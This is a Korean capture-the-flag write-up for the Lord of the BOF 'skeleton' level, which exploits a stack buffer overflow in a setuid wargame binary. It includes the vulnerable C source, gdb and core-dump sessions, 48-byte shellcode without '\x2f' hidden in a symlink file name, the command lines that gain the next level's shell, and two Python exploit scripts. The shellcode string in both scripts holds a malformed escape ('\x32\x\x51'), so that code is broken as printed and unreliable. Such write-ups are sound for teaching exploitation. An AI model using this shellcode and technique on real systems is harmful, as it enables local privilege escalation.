[LOB]Level10. skeleton

 

+ argvHunter

vampire / music world


/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

0x01. Analysis

  • RET 시작주소 \xbf
  • argv[1] 48byte 길이 제한
  • 환경변수 초기화
  • buffer배열 초기화
  • argv 인자값 모두 초기화

argv 인자값 모두 초기화되기 때문에 이전문제처럼 argv[0]값을 이용한 풀이는 불가능해 보인다.

하지만, 환경변수 영역에서 초기화 할 수 없는 영역이 있다. 그것은 바로 자신의 명령어, 즉 실행 파일 이름은 초기화 될 수 없다.

[vampire@localhost vampire]$ gdb -q akeleton
(gdb) set dis int
(gdb) b*main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/vampire/akeleton `python -c 'print "\xbf"*48'`

Breakpoint 1, 0x8048500 in main ()
(gdb) x/50s $esp
0xbffffdda:      "i686"
0xbffffddf:      "/home/vampire/akeleton"
0xbffffdf6:      '? <repeats 48 times>
0xbffffe27:      "PWD=/home/vampire"
0xbffffe39:      "REMOTEHOST=192.168.23.1"
0xbffffe51:      "HOSTNAME=localhost.localdomain"
0xbffffe70:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbffffe92:      "USER=vampire"
0xbffffe9f:      "LS_COLORS="
0xbffffeaa:      "MACHTYPE=i386-redhat-linux-gnu"
0xbffffec9:      "MAIL=/var/spool/mail/vampire"
0xbffffee6:      "INPUTRC=/etc/inputrc"
0xbffffefb:      "BASH_ENV=/home/vampire/.bashrc"
0xbfffff1a:      "LANG=en_US"
0xbfffff25:      "LOGNAME=vampire"
0xbfffff35:      "SHLVL=1"
0xbfffff3d:      "SHELL=/bin/bash2"
0xbfffff4e:      "USERNAME="
0xbfffff58:      "HOSTTYPE=i386"
0xbfffff66:      "OSTYPE=linux-gnu"
0xbfffff77:      "HISTSIZE=1000"
0xbfffff85:      "TERM=ansi"
0xbfffff8f:      "HOME=/home/vampire"
0xbfffffa2:      "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffffe5:      "/home/vampire/akeleton"

환경변수가 초기화 되기 전 환경변수 영역의 값들이다.

(gdb) b*main+368
Breakpoint 2 at 0x8048670
(gdb) c
Continuing.
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Breakpoint 2, 0x8048670 in main ()
(gdb) x/50s 0xbffffddf
0xbffffddf:      ""
0xbffffdf6:      ""
============================(생략)===========================
0xbfffffa2:      ""
0xbfffffe5:      "/home/vampire/akeleton"

main 함수가 끝나기 직전 환경변수 영역이다.

비교해 보면 실행파일의 이름을 저장하는 영역인 0xbfffffe5 환경변수 영역은 초기화 되지 않았음을 확인 할 수 있다. 따라서 argv[0]의 영역이 아닌 이부분을 이용하여 심볼릭링크를 활용하면 될것 같다.

먼저, 공격에 사용될 payload와 똑같은 길이로 심볼릭 링크를 생성한 후, core 덤프를 확인하여 실제 주소를 확인하자.

[vampire@localhost vampire]$ ln -s akeleton `python -c 'print "A"*50+"S"*48+"A"*32'`
[vampire@localhost vampire]$ ./`python -c 'print "A"*50+"S"*48+"A"*32'` `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xb f"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱옜옜
Segmentation fault (core dumped)

스택 최상단부라 그런지 심볼릭 링크 만들때 Shell Code 뒷부분에 NOP Code를 안넣으니 실제 exploit 할 때 계속 segment fault가 떳다. 때문에 Shell Code 뒤에 충분한 공간을 만들어준다.

[vampire@localhost vampire]$ gdb -q -c core
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
=================================(생략)=====================================
0xbfffff70:     0x00000000      0x2e000000      0x4141412f      0x41414141
0xbfffff80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffff90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffffa0:     0x41414141      0x41414141      0x53414141      0x53535353
0xbfffffb0:     0x53535353      0x53535353      0x53535353      0x53535353
0xbfffffc0:     0x53535353      0x53535353      0x53535353      0x53535353
0xbfffffd0:     0x53535353      0x53535353      0x41535353      0x41414141
0xbfffffe0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffff0:     0x41414141      0x41414141      0x00414141      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000

초기화 되지 않는 환경변수 영역의 주소는 0xbfffff80 주변임을 확인한다.


0x02. Exploit

'\x2f'없는 shell(48byte) = \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

이제 실제 Shell Code를 이용하여 심볼릭 링크를 skeleton 바이너리와 연결하여 생성한다.

[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xf f\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x5 1\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*32'`
[vampire@localhost vampire]$ ./`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9 \x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2 \x9a\xb1\x0c\xce\x81"+"\x90"*32'` `python -c 'print "\x90"*44+"\x91\xff\xff\xbf"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?
풺ash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder
bash$

0x03. 정리

이 문제에서 실제 실행되는 파일의 이름은 스택 최상단에 저장되어 있으며 이는 초기화 할 수 없음을 확인 할 수 있는 문제였다.

그리고 이름에 심볼릭 링크를 설정할 때 ShellCode 뒤에 일정 공간을 만들어 줘야 ShellCode가 잘 실행되었다.


import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\x\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

target = "\x90"*50 + shellcode + "\x90"*32

shellcode_addr = 0xbfffff80

payload = "\x90"*44
payload = append(p32(shellcode_addr))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)

import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/vampire/"

shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\x\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
sym_link = "\x90"*50 + shellcode + "\x90"*32

shellcode_addr = 0xbfffff80

if os.path.exists(sym_link):
        os.remove(sym_link)

os.symlink('skeleton', sym_link)
target = target + sym_link

payload = "\x90"*44
payload = append(p32(shellcode_addr))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)